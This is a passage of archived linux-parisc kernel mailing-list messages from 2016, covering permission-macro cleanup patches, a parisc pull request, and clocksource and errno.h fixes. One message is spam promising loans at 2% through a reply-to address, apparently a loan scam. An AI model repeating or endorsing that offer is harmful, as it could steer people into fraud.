  by fmsmga103.fm.intel.com with ESMTP; 02 Aug 2016 05:26:45 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.28,460,1464678000"; 
   d="scan'208";a="1018220103"
Original-Received: from shsibuild003.sh.intel.com ([10.239.146.225])
  by fmsmga001.fm.intel.com with ESMTP; 02 Aug 2016 05:26:42 -0700
X-Mailer: git-send-email 2.9.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26940 gmane.linux.kernel:2278286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26940>

I find that the developers often just specified the numeric value
when calling a macro which is defined with a parameter for access permission.
As we know, these numeric value for access permission have had the corresponding macro,
and that using macro can improve the robustness and readability of the code,
thus, I suggest replacing the numeric parameter with the macro.

Signed-off-by: Chuansheng Liu <chuansheng.liu@intel.com>
Signed-off-by: Baole Ni <baolex.ni@intel.com>
---
 drivers/parisc/pdc_stable.c | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 3651c38..0cb008f 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -487,8 +487,8 @@ static const struct sysfs_ops pdcspath_attr_ops = {
 };
 
 /* These are the two attributes of any PDC path. */
-static PATHS_ATTR(hwpath, 0644, pdcspath_hwpath_read, pdcspath_hwpath_write);
-static PATHS_ATTR(layer, 0644, pdcspath_layer_read, pdcspath_layer_write);
+static PATHS_ATTR(hwpath, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH, pdcspath_hwpath_read, pdcspath_hwpath_write);
+static PATHS_ATTR(layer, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH, pdcspath_layer_read, pdcspath_layer_write);
 
 static struct attribute *paths_subsys_attrs[] = {
 	&paths_attr_hwpath.attr,
@@ -931,15 +931,15 @@ static ssize_t pdcs_osdep2_write(struct kobject *kobj,
 }
 
 /* The remaining attributes. */
-static PDCS_ATTR(size, 0444, pdcs_size_read, NULL);
-static PDCS_ATTR(autoboot, 0644, pdcs_autoboot_read, pdcs_autoboot_write);
-static PDCS_ATTR(autosearch, 0644, pdcs_autosearch_read, pdcs_autosearch_write);
-static PDCS_ATTR(timer, 0444, pdcs_timer_read, NULL);
-static PDCS_ATTR(osid, 0444, pdcs_osid_read, NULL);
-static PDCS_ATTR(osdep1, 0600, pdcs_osdep1_read, pdcs_osdep1_write);
-static PDCS_ATTR(diagnostic, 0400, pdcs_diagnostic_read, NULL);
-static PDCS_ATTR(fastsize, 0400, pdcs_fastsize_read, NULL);
-static PDCS_ATTR(osdep2, 0600, pdcs_osdep2_read, pdcs_osdep2_write);
+static PDCS_ATTR(size, S_IRUSR | S_IRGRP | S_IROTH, pdcs_size_read, NULL);
+static PDCS_ATTR(autoboot, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH, pdcs_autoboot_read, pdcs_autoboot_write);
+static PDCS_ATTR(autosearch, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH, pdcs_autosearch_read, pdcs_autosearch_write);
+static PDCS_ATTR(timer, S_IRUSR | S_IRGRP | S_IROTH, pdcs_timer_read, NULL);
+static PDCS_ATTR(osid, S_IRUSR | S_IRGRP | S_IROTH, pdcs_osid_read, NULL);
+static PDCS_ATTR(osdep1, S_IRUSR | S_IWUSR, pdcs_osdep1_read, pdcs_osdep1_write);
+static PDCS_ATTR(diagnostic, S_IRUSR, pdcs_diagnostic_read, NULL);
+static PDCS_ATTR(fastsize, S_IRUSR, pdcs_fastsize_read, NULL);
+static PDCS_ATTR(osdep2, S_IRUSR | S_IWUSR, pdcs_osdep2_read, pdcs_osdep2_write);
 
 static struct attribute *pdcs_subsys_attrs[] = {
 	&pdcs_attr_size.attr,
-- 
2.9.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baole Ni <baolex.ni@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH 0717/1285] Replace numeric parameter like 0444 with macro
Date: Tue,  2 Aug 2016 19:39:31 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20160802113931.29863-1-baolex.ni@intel.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1470154509 1090 195.159.176.226 (2 Aug 2016 16:15:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Aug 2016 16:15:09 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, mugunthanvnm@ti.com, a@unstable.cc,
	fw@strlen.de, davem@davemloft.net, chuansheng.liu@intel.com,
	baolex.ni@intel.com, Baohua.Song@csr.com
To: leedom@chelsio.com, rric@kernel.org,
	felix.manlunas@caviumnetworks.com,
	raghu.vatsavayi@caviumnetworks.com, computersforpeace@gmail.com,
	m.chehab@samsung.com, pawel@osciak.com, m.szyprowski@samsung.com,
	kyungmin.park@samsung.com, k.kozlowski@samsung.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 02 18:15:03 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bUcLO-00088T-6N
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Aug 2016 18:15:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935263AbcHBQOz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Aug 2016 12:14:55 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:50418 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934292AbcHBMRg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Aug 2016 08:17:36 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by orsmga101.jf.intel.com with ESMTP; 02 Aug 2016 05:17:12 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.28,460,1464678000"; 
   d="scan'208";a="858127338"
Original-Received: from shsibuild003.sh.intel.com ([10.239.146.225])
  by orsmga003.jf.intel.com with ESMTP; 02 Aug 2016 05:17:10 -0700
X-Mailer: git-send-email 2.9.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26941 gmane.linux.network:423845 gmane.linux.kernel:2278401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26941>

I find that the developers often just specified the numeric value
when calling a macro which is defined with a parameter for access permission.
As we know, these numeric value for access permission have had the corresponding macro,
and that using macro can improve the robustness and readability of the code,
thus, I suggest replacing the numeric parameter with the macro.

Signed-off-by: Chuansheng Liu <chuansheng.liu@intel.com>
Signed-off-by: Baole Ni <baolex.ni@intel.com>
---
 drivers/net/ethernet/dec/tulip/uli526x.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/dec/tulip/uli526x.c b/drivers/net/ethernet/dec/tulip/uli526x.c
index e750b5d..a6cd07a 100644
--- a/drivers/net/ethernet/dec/tulip/uli526x.c
+++ b/drivers/net/ethernet/dec/tulip/uli526x.c
@@ -1789,7 +1789,7 @@ MODULE_AUTHOR("Peer Chen, peer.chen@uli.com.tw");
 MODULE_DESCRIPTION("ULi M5261/M5263 fast ethernet driver");
 MODULE_LICENSE("GPL");
 
-module_param(debug, int, 0644);
+module_param(debug, int, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
 module_param(mode, int, 0);
 module_param(cr6set, int, 0);
 MODULE_PARM_DESC(debug, "ULi M5261/M5263 enable debugging (0-1)");
-- 
2.9.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: varainhoitoelimen <akishino@ufpr.br>
Newsgroups: gmane.linux.ports.parisc
Subject: nopea Lainat
Date: Wed, 03 Aug 2016 03:22:49 +0530
Lines: 8
Approved: news@gmane.org
Message-ID: <20160802213559.B7171DC605D__12786.528786137$1470275596$gmane$org@zimbra2.bawaslu.go.id>
Reply-To: y_loanspvt@aol.co.uk
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1470275596 26392 195.159.176.226 (4 Aug 2016 01:53:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Aug 2016 01:53:16 +0000 (UTC)
To: Recipients <akishino@ufpr.br>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 04 03:53:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bV7p8-0003sX-Hy
	for glpp-linux-parisc@m.gmane.org; Thu, 04 Aug 2016 03:51:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932374AbcHDBvp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Aug 2016 21:51:45 -0400
Original-Received: from [103.249.227.34] ([103.249.227.34]:60607 "EHLO
	zimbra2.bawaslu.go.id" rhost-flags-FAIL-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S932180AbcHDBvo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Aug 2016 21:51:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by zimbra2.bawaslu.go.id (Postfix) with ESMTP id 7BB3BDC605D;
	Wed,  3 Aug 2016 04:36:11 +0700 (WIB)
Original-Received: from zimbra2.bawaslu.go.id ([127.0.0.1])
	by localhost (zimbra2.bawaslu.go.id [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id kxehw0fJtw9p; Wed,  3 Aug 2016 04:36:10 +0700 (WIB)
Original-Received: from localhost (localhost [127.0.0.1])
	by zimbra2.bawaslu.go.id (Postfix) with ESMTP id 3B86DDC6061;
	Wed,  3 Aug 2016 04:36:10 +0700 (WIB)
X-Virus-Scanned: amavisd-new at zimbra2.bawaslu.go.id
Original-Received: from zimbra2.bawaslu.go.id ([127.0.0.1])
	by localhost (zimbra2.bawaslu.go.id [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id ExgJH0kFEHhv; Wed,  3 Aug 2016 04:36:10 +0700 (WIB)
Original-Received: from [10.10.6.79] (unknown [209.58.176.39])
	by zimbra2.bawaslu.go.id (Postfix) with ESMTPSA id B7171DC605D;
	Wed,  3 Aug 2016 04:35:59 +0700 (WIB)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26942>

Apply for a loan at 2% reply to this Email for more Info

Hae lainaa 2% vastausta thn viestiin listietoja
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for 4.8-rc1
Date: Thu, 4 Aug 2016 22:15:05 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20160804201505.GA22205@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1470341739 31191 195.159.176.226 (4 Aug 2016 20:15:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Aug 2016 20:15:39 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: George Spelvin <linux@sciencehorizons.net>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 04 22:15:30 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bVP37-0006Rd-Er
	for glk-linux-kernel-3@m.gmane.org; Thu, 04 Aug 2016 22:15:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965698AbcHDUPW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 4 Aug 2016 16:15:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:56123 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934261AbcHDUPU (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 4 Aug 2016 16:15:20 -0400
Original-Received: from ls3530.box ([92.203.22.217]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MX19U-1bjl2u3vNM-00VyJq; Thu, 04 Aug 2016 22:15:09
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:1q8LUMuTadZwyT0cqaV3ee/HdSXNXD1F9qnLHvOLbFSLqwQIyiU
 mUS/Ifk7ofdJ1E+bSburspPpBeYjg4o36BXXaXBc/RBf0mngN2tsB3PRqYTd/gy0UJmXKkB
 1GfMuuxoHiE9i4WajIpZDD1rWqKUijamDjidayMdD8RkaYdho0rr22ybZLsiRnSFfbn00yM
 n+oRh4TCi2VdqCnkOAbaw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:13D4D3sNvAg=:tkXs/IOmAUCtUVTUs62Bqb
 ix3kBmwRU7v/60dA5YZ8S7Y7QTh2SNqQ4ZfgkVJVoiCw9CrhABMo4CQfFxDLNe0FrbizIre4B
 pHQ5h4O4wWQ2xNNmilt0ZGz6+f5PFt8GOqIcYa8av7rFFKkAWs8ASAhDtBoxiXR39bE6i5Kxx
 GXnMxcSttrCM9NklZQIHxk7N3v8+CNpDX6Ks6cU43aqR74Ah00pi0WsR+x5gqXyYzhQ/xV/5b
 EUyQWw/cOlL4O0ZpN4inWcpQ2u0p8nNU6knD42MqyKH/QDVtO0fkYmVMzGhAkWFdWP9nE2uJ0
 w7uhNxd+7LkaO4ihoiIxCXnxgLD8GAcIV5P7V+ifjyLQKR7Nqk6YssS1KpG5+CaraGABtLsys
 ANX8APB1P8sAhg6pHkl195kLdWjLIrDFTK8+b+91VSyPD+ue62DmAzNUEB73Taw4Y4z8lewBh
 5+iasiwlEB50qJlut55sgOUr1F/u2jAUu/tgVKVlWHxNRmwW5U+3swavRSHNrl2plrgKikX3s
 RdiLaFvJ5R3c9iKHoKBXB8SKbPPv18ZhYrB8bwzd8uibdsocBhj+H06r60c/Z3iizU/j9CcG6
 LhvMHlepKHSlwiLS6cyKo5zQaJOr8cK6SCpJ7YdTScuxI81+cKJ5+Evz9/pBl7Uz/2gkb0dY3
 ZHmL6IZNXZKhCvgKxXiiSSeee33SUxkQqlIz3fqEjZHJ+g9Lzev65Fz5KKjvmltFd1OTk+kkq
 DqVQVJIRoty0cG08qf/JYKDWNz9Ph4WVbxJmmLO5+OiqqSJARIrDBySnpcs=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2280217 gmane.linux.ports.parisc:26943
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2280217>

Hi Linus,

Please pull some parisc architecture updates for kernel 4.8-rc1 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.8-1

Changes in this patch set:
- added an optimized hash implementation for parisc (George Spelvin)
- C99 style cleanups in iomap.c (Amitoj Kaur Chawla)
- Added breaks to switch statement in PDC function (noticed by Dan Carpenter)

Thanks,
Helge

----------------------------------------------------------------
Amitoj Kaur Chawla (1):
      parisc: Change structure intialisation to C99 style in iomap.c

George Spelvin (1):
      parisc: Add <asm/hash.h>

Helge Deller (1):
      parisc: Add break statements to pdc_pat_io_pci_cfg_read()

 arch/parisc/Kconfig            |   1 +
 arch/parisc/include/asm/hash.h | 146 +++++++++++++++++++++++++++++++++++++++++
 arch/parisc/kernel/firmware.c  |   6 +-
 arch/parisc/lib/iomap.c        |  64 +++++++++---------
 4 files changed, 182 insertions(+), 35 deletions(-)
 create mode 100644 arch/parisc/include/asm/hash.h


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix automatic selection of cr16 clocksource
Date: Fri, 19 Aug 2016 22:39:02 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20160819203902.GA17039@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1471639161 369 195.159.176.226 (19 Aug 2016 20:39:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 19 Aug 2016 20:39:21 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 19 22:39:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1baqZQ-0000dB-54
	for glpp-linux-parisc@m.gmane.org; Fri, 19 Aug 2016 22:39:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753576AbcHSUjQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 19 Aug 2016 16:39:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:60499 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752435AbcHSUjQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 19 Aug 2016 16:39:16 -0400
Original-Received: from p100.box ([92.203.47.77]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M3eDF-1bJ2jb2c9B-00rG1x; Fri, 19 Aug 2016 22:39:06
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:q6riS1KPqcf+lwRgf1O+KSHxXzN/nDv824Kc7M6sRpRpc8s9Zfw
 I72xfCbDhh9XWymjxJL9+9nd2clgrL4Id118bsB/Vjpfji2bzY+0FGSIS4LgueaAAFKiK/J
 lAMHjDubOzsCpmfSF9WGMCO3Tl/tyWxTRtN4ftuJFR6xE+CSEva4W0CX1f6Qy9PSZei00ZN
 elNTdV1B+NaCVsQ28UajQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:QXuVuvRVY+M=:CZKT3DU1ZhN9VgSg3Xo/i9
 eoTfNMfdDiJ6J9YIGLuoTBbdXXGvs2E8Pqv5+WOOWacfzZorqTFweEJJOfrKDz9VYf3p3wn6r
 Wa4Tk77AP5sKSEMJRHisFWlHK87R+v6O6XIhs7tTVlPFeOw+dJkQkhk69C5iOEGYskSOaItOP
 A+BQL0RN8GdBwLluv/n3nYEEcwmejGTxC+4/6tnSPS27c4ZQtVGxWS5j8ihD8RbINTMuLSpAV
 1NANbS/JXgFDspLkxwieqh6PSfqCxS4iXMAwmePqWUhkk/D6llyjv+ge+0paah7ZDqxwGjib7
 qdzDOiQW3Yp4gjUDWmatwgaf8N5REHJ07Dyhi20vMlNrO1zys2JQRuTAH2zUqFMzKu++pdv84
 gzPG0iWpnynKqgZBFLEV5gMCAhxm3e211QgYQhjdfp+9R1XxY3+RI+7IDolt3xn3UaBwJW0Dh
 6eCTGUnljndFr+xwfBUxaYevvJNbBHLIhsVwJfjxkUHK+2x4UvIku9sC8wQOqWqixgd0C3P4P
 klUJTArydBfyCeK7P5XNs2w33ZSiS/067HK2wg5f9KzC+zGoObjt1t0AcxnXbEVlwUPAWZadk
 b4zucu2rs6jOEgKeCJ1Of+dB0IONI4row1CzrjdA5/7HkkCi0jIRy+iRHD7kXpNBn+/NI18Cx
 GgbzLbTfzuR/ZtB/zcmsWBEE8NA4QdlFipx1YJnmmVVyLwAfhn8j/8vhryqTGx6B7ykqSFCy8
 6d7aIT2C8VdGeaSJN8TMtEMregZKyeODOZmALTYIXVdcjv1p16XDF0AAUc4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26944>

Commit 54b66800907 (parisc: Add native high-resolution sched_clock()
implementation) added support to use the CPU-internal cr16 counters as reliable
clocksource with the help of HAVE_UNSTABLE_SCHED_CLOCK.

Sadly the commit missed to remove the hack which prevented cr16 to become the
default clocksource even on SMP systems.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # 4.7+

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 5adc339..0c2a94a 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -51,8 +51,6 @@ EXPORT_SYMBOL(_parisc_requires_coherency);
 
 DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
-extern int update_cr16_clocksource(void);	/* from time.c */
-
 /*
 **  	PARISC CPU driver - claim "device" and initialize CPU data structures.
 **
@@ -228,12 +226,6 @@ static int processor_probe(struct parisc_device *dev)
 	}
 #endif
 
-	/* If we've registered more than one cpu,
-	 * we'll use the jiffies clocksource since cr16
-	 * is not synchronized between CPUs.
-	 */
-	update_cr16_clocksource();
-
 	return 0;
 }
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 505cf1a..4b0b963 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -221,18 +221,6 @@ static struct clocksource clocksource_cr16 = {
 	.flags			= CLOCK_SOURCE_IS_CONTINUOUS,
 };
 
-int update_cr16_clocksource(void)
-{
-	/* since the cr16 cycle counters are not synchronized across CPUs,
-	   we'll check if we should switch to a safe clocksource: */
-	if (clocksource_cr16.rating != 0 && num_online_cpus() > 1) {
-		clocksource_change_rating(&clocksource_cr16, 0);
-		return 1;
-	}
-
-	return 0;
-}

From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix order of EREFUSED define in errno.h
Date: Sat, 20 Aug 2016 11:51:38 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20160820095138.GA15356@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1471686718 7077 195.159.176.226 (20 Aug 2016 09:51:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 20 Aug 2016 09:51:58 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 20 11:51:53 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bb2wT-0001cE-3x
	for glpp-linux-parisc@m.gmane.org; Sat, 20 Aug 2016 11:51:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752449AbcHTJvx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 20 Aug 2016 05:51:53 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51629 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751824AbcHTJvw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 20 Aug 2016 05:51:52 -0400
Original-Received: from ls3530.box ([92.203.47.77]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LsD9n-1bAXp21ZQV-013xQP; Sat, 20 Aug 2016 11:51:43
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:xTMwZlEI31i2Q0vpt4Lq21WONk/gCtMT+fuNR/EGKUTVzNuBWHm
 AujNatjQhU/YQNswk1plDNWx6fz3omP9Toq/EWYN/iy96DtAUEshkH3ez50ZMzWANtRl91C
 /oJsnKAOJqsa1U7wqDVhPnvQdyJhxU8KvoWObW96JrYLO9sArNQIp6r3wHc04OiukuwkjEG
 X3gA6oQ8GohuvB3+QpfHA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:izzqY8u+YqM=:Bu2SY+Mveyb/MFOOo+m2bX
 y7QjJHUVzhmZYXR8XpMm4NAzB/I2eQ3z1D2XzHIbYcMGmu+Pja2g/D6ymj5Tq8nO67rVr6QCx
 v3sZlLtVQlAZQ7r5BF4AADt7dA/dZn7TPjKlSwah5HTmDxzpPFTYFTB1asIicSnx2nEC1ljL4
 zmya8T4aSqKvxJadALiq2sUTjmxb5zawkkjhtWNgCuMGTFi4llhu1LRaxpslnFsVgEGbgSRjt
 Rs2Vmu2WuDZ90gItIJ4fo8LHXBqp13PsxG3UBlBYxSXQxoQyP0DfcJdBg8fCfSOxFecRa84b9
 nCfts8ZTkV7bz5caQAjDBMIugr8LjTdVYA7ALQvPt6N3Gl1QyQCHy7bABwYi18adFHjoORI1X
 itcrqDVxoftSwJsskv/gVm3gcX7LMoOxmOeQyOrYe78m1MTDD0X2Cvis1KWyiI997yZ/mEf+3
 x4xoe60VX9wgH0eZNbykd9mWzOZ1TVpRaagVSkbGxSPHNVe3CwqhtGaHlCJWg2i3vQPtOnfLD
 tcMr+yfaGMnDB0VEfOOOOjdaFfsd0edrxGU/Hl5dDWAxOXbMRe+WCt7z4n5IDaoUHWedPgvDK
 DoyNigJSTzFq7J6Sqs0DBmYxIpol4UV+hS7PUomGJhrh1GXo/DzyJ9qVrT6owNvPMXUCs4Q6L
 gXQWc3KQrIYNMmx3lruB18+AiXePbvh4pmKp556r9Y8xcvkKTIumWxZvmrg4L9kafI1lBgW0m
 2muEBNGKpBeIZeES1sCd/+MZZcLVP9A4NHeeFW+9+MAPIbKqAKbAogKBO8k=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26945>

When building gccgo in userspace, errno.h gets parsed and the go include file
sysinfo.go is generated.

Since EREFUSED is defined to the same value as ECONNREFUSED, and ECONNREFUSED
is defined later on in errno.h, this leads to go complaining that EREFUSED
isn't defined yet.

Fix this trivial problem by moving the define of EREFUSED down after
ECONNREFUSED in errno.h (and clean up the indenting while touching this line).

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org

diff --git a/arch/parisc/include/uapi/asm/errno.h b/arch/parisc/include/uapi/asm/errno.h
index c0ae625..a714d01 100644
--- a/arch/parisc/include/uapi/asm/errno.h
